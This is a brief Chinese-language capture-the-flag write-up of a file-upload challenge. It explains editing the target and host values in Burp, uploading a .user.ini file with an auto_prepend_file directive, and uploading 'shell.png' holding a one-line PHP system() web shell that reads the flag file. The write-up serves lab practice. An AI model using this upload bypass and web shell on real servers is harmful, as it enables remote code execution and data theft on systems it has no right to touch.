目录

• 思路
• 总结

思路

直接在burp里面改target和host的值,或者在本地发包


成功上传.user.ini

auto_prepend_file=shell.png

发现上题的可以直接用,直接白嫖了

shell.png

<?system('tac ../f*')?>

总结

…